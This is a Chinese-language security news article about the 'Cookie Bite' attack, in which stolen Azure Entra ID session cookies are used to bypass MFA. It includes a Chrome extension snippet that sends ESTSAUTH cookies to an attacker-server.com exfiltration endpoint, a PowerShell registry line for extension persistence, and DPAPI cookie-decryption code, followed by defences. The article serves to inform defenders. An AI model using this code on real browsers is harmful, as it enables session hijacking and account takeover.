1. 簡介

Varonis Threat Labs 記錄的「Cookie Bite」攻擊,是一種利用認證 cookie 繞過多因素認證(MFA)的精巧方法,特別針對 Azure Entra ID(前身為 Azure Active Directory)的 session。此攻擊向量利用竊取的瀏覽器 cookie 冒充合法用戶,讓 threat actor 持續存取 Microsoft 365、Outlook 和 Teams 等雲端環境。本報告提供攻擊框架的技術剖析,包括其架構、程式碼層面機制及防禦對策。

Cookie Bite攻擊揭秘:如何繞過MFA竊取Azure Session | 資訊安全新聞

2. 技術背景:認證 Cookie 與 MFA 繞過

現代雲端服務如 Azure Entra ID 依賴 session cookie(例如 ESTSAUTH ESTSAUTHPERSISTENT )來維持已認證的 session。這些 cookie 在 MFA 後驗證用戶身份,啟用 Single sign-on(SSO)。然而,這些 token 若被竊取,將成為重大漏洞,使攻擊者完全繞過 MFA。

  • ESTSAUTH :臨時 session cookie,有效期最長 24 小時,瀏覽器關閉後銷毀。
  • ESTSAUTHPERSISTENT :持久性 cookie,即使瀏覽器關閉仍保留,實現長期存取。

3. 攻擊方法與技術架構

Cookie Bite 攻擊包含四個階段,結合瀏覽器擴充功能、自動化腳本(scripts)及 cookie 注入技術。

3.1 階段 1:惡意瀏覽器擴充功能部署

Threat actor 部署自訂 Chrome 擴充功能來監控認證事件並提取 cookie。這些擴充功能在瀏覽器的安全環境中運作,繞過傳統惡意軟體檢測:

  • 路徑 :擴充功能透過 Chrome 的開發者模式載入,常儲存在作業系統特定目錄(例如 Windows 上的 C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions )。
  • 功能 :擴充功能使用 chrome.cookies API 即時攔截認證 cookie。以下是簡化的 cookie 提取程式碼片段:
  1. chrome.cookies.onChanged.addListener(function(changeInfo) {
  2. if (changeInfo.cookie.name.includes('ESTSAUTH')) {
  3. fetch('https://attacker-server.com/exfil', {
  4. method: 'POST',
  5. body: JSON.stringify(changeInfo.cookie)
  6. });
  7. }
  8. });
  • 規避 :透過避免磁碟解密和程序注入,這些擴充功能規避端點檢測工具。

3.2 階段 2:PowerShell 自動化實現持久性

PowerShell 腳本確保擴充功能保持安裝且有效:

  1. # 透過登錄操作實現擴充功能持久性
  2. New-ItemProperty -Path "HKCU:\Software\Google\Chrome\Extensions" -Name "malicious_extension_id" -Value "C:\path\to\extension" -Force

此腳本還自動將 cookie 外洩至遠端伺服器,確保即使瀏覽器重啟仍能持續存取。

3.3 階段 3:Cookie 解密與重用(Reuse)

竊取的 cookie 通常使用平台特定機制加密:

  • Windows DPAPI :基於 Chromium 的瀏覽器使用 DPAPI 保護的 AES 金鑰加密 cookie。攻擊者使用 CryptUnprotectData 在本機解密金鑰:
  1. # 簡化的 DPAPI 解密(來自 Varonis 的 PoC)
  2. from win32crypt import CryptUnprotectData
  3. def decrypt_cookie(encrypted_value):
  4. return CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
  • Linux/macOS :透過記憶體傾印(memory-dumping)技術繞過 Keychain 或 TCC 保護。

3.4 階段 4:Session 注入與橫向移動

攻擊者使用配套擴充功能將竊取的 cookie 注入其瀏覽器,模擬受害者的作業系統、瀏覽器和網路 fingerprint,以規避條件存取政策(Conditional Access Policies, CAPs)。這允許存取:

  • Microsoft 365 應用程式 :Outlook、Teams、SharePoint。
  • 權限提升 :攻擊者利用如 Global Admin 的角色在雲端資源間進行橫向移動。

4. 影響分析與案例研究

Varonis 的概念驗證(PoC)展示了攻擊的有效性:

  • 繞過 MFA :Session cookie 無需憑證或 MFA 挑戰。
  • 持久性 :持續的 cookie 提取確保無限期存取。
  • 檢測挑戰 :活動模擬合法用戶行為,規避 SIEM 警報。

案例範例 :一個被盜的 ESTSAUTHPERSISTENT cookie 讓攻擊者持續存取企業 Azure 租戶超過 30 天,導致資料外洩並橫向移動至 AWS 環境。

5. 防禦策略

5.1 安全 Cookie 設定

  • 屬性強化 :設定 Secure HttpOnly SameSite=Lax 標誌以限制 cookie 暴露。
  • 範圍限制 :避免廣泛的 Domain 設定(例如 *.harvard.edu ),以防止跨子域劫持(Cross-subdomain hijacking)

5.2 瀏覽器安全政策

  • 擴充功能白名單 :強制執行 Chrome ADMX 政策以阻止未授權的擴充功能。
  • 記憶體保護 :Microsoft Defender for Endpoint 等工具可檢測瀏覽器記憶體傾印活動。

5.3 雲端特定緩解措施

  • 條件存取 :強制執行設備合規性和地理登入限制。
  • Token 撤銷 :實施短效 session 和高風險操作的強制重新認證。

6. 結論

Cookie Bite 攻擊凸顯了雲端生態系統中基於 cookie 的認證脆弱性。Threat actor 透過武器化瀏覽器擴充功能和自動化實現靜默且持久的存取。防禦者必須採取多層安全措施,包括嚴格的 cookie 政策、行為分析和主動 session 監控。

Copyright © 2025 版權所有 翊天科技有限公司